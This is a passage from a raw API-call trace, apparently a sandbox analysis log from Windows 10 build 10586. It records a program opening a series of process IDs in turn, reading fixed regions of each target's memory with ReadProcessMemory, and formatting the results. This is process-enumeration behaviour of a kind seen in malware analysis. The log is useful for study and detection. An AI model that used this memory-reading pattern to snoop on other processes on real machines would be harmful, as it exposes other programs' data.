ReturnLength=0x0) returned 0x0 [0284.470] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.470] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.470] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.470] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.471] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.473] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.473] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.473] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.473] malloc (_Size=0x60) returned 0x196ef0d0370 [0284.473] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1950, lpBuffer=0x196ef0d0370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0284.474] free (_Block=0x196ef0d0370) [0284.475] CloseHandle (hObject=0x464) returned 1 [0284.476] _ui64tow_s (in: _Value=0xe70, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3696") returned 0x0 [0284.481] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3696") returned 4 [0284.483] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.483] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x464 [0284.500] GetLastError () returned 0x0 [0284.501] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.502] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.504] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.504] malloc (_Size=0x66) returned 0x196ef0d0370 [0284.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1956, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0284.505] free (_Block=0x196ef0d0370) [0284.506] CloseHandle (hObject=0x464) returned 1 [0284.506] _ui64tow_s (in: _Value=0xe78, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0284.511] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3704") returned 4 [0284.528] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.528] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x464 [0284.542] GetLastError () returned 0x0 [0284.542] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.542] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.544] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.545] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.545] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.545] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.545] malloc (_Size=0x78) returned 0x196ef0d2120 [0284.546] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0284.546] free (_Block=0x196ef0d2120) [0284.547] CloseHandle (hObject=0x464) returned 1 [0284.547] _ui64tow_s (in: _Value=0xe88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3720") returned 0x0 [0284.551] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3720") returned 4 [0284.552] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.552] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.566] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x464 [0284.566] GetLastError () returned 0x0 [0284.566] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.566] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.568] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.570] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.570] malloc (_Size=0x78) returned 0x196ef0d2120 [0284.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0284.571] free (_Block=0x196ef0d2120) [0284.572] CloseHandle (hObject=0x464) returned 1 [0284.572] _ui64tow_s (in: _Value=0xe90, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3728") returned 0x0 [0284.579] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3728") returned 4 [0284.580] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.580] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe90) returned 0x464 [0284.594] GetLastError () returned 0x0 [0284.594] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.594] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.596] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.597] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.597] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.597] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.597] malloc (_Size=0x70) returned 0x196ef0d31b0 [0284.597] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.598] free (_Block=0x196ef0d31b0) [0284.599] CloseHandle (hObject=0x464) returned 1 [0284.599] _ui64tow_s (in: _Value=0xea4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3748") returned 0x0 [0284.603] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3748") returned 4 [0284.604] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.604] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.619] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xea4) returned 0x464 [0284.619] GetLastError () returned 0x0 [0284.620] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.658] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.660] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.660] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.660] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.660] malloc (_Size=0x72) returned 0x196ef0d31b0 [0284.660] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.661] free (_Block=0x196ef0d31b0) [0284.661] CloseHandle (hObject=0x464) returned 1 [0284.662] _ui64tow_s (in: _Value=0xeac, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0284.666] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3756") returned 4 [0284.668] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.668] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.684] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x464 [0284.684] GetLastError () returned 0x0 [0284.685] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.685] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.685] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.685] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.685] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.686] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.688] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.688] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.688] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.688] malloc (_Size=0x5a) returned 0x196ef0d0370 [0284.688] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46194a, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0284.689] free (_Block=0x196ef0d0370) [0284.689] CloseHandle (hObject=0x464) returned 1 [0284.690] _ui64tow_s (in: _Value=0xec4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3780") returned 0x0 [0284.693] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3780") returned 4 [0284.695] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.695] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.725] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec4) returned 0x464 [0284.725] GetLastError () returned 0x0 [0284.726] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.726] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.726] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.726] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.726] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.727] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.728] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.728] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.729] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.729] malloc (_Size=0x66) returned 0x196ef0d0370 [0284.729] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501956, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0284.730] free (_Block=0x196ef0d0370) [0284.730] CloseHandle (hObject=0x464) returned 1 [0284.763] _ui64tow_s (in: _Value=0xecc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3788") returned 0x0 [0284.768] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3788") returned 4 [0284.769] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.770] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xecc) returned 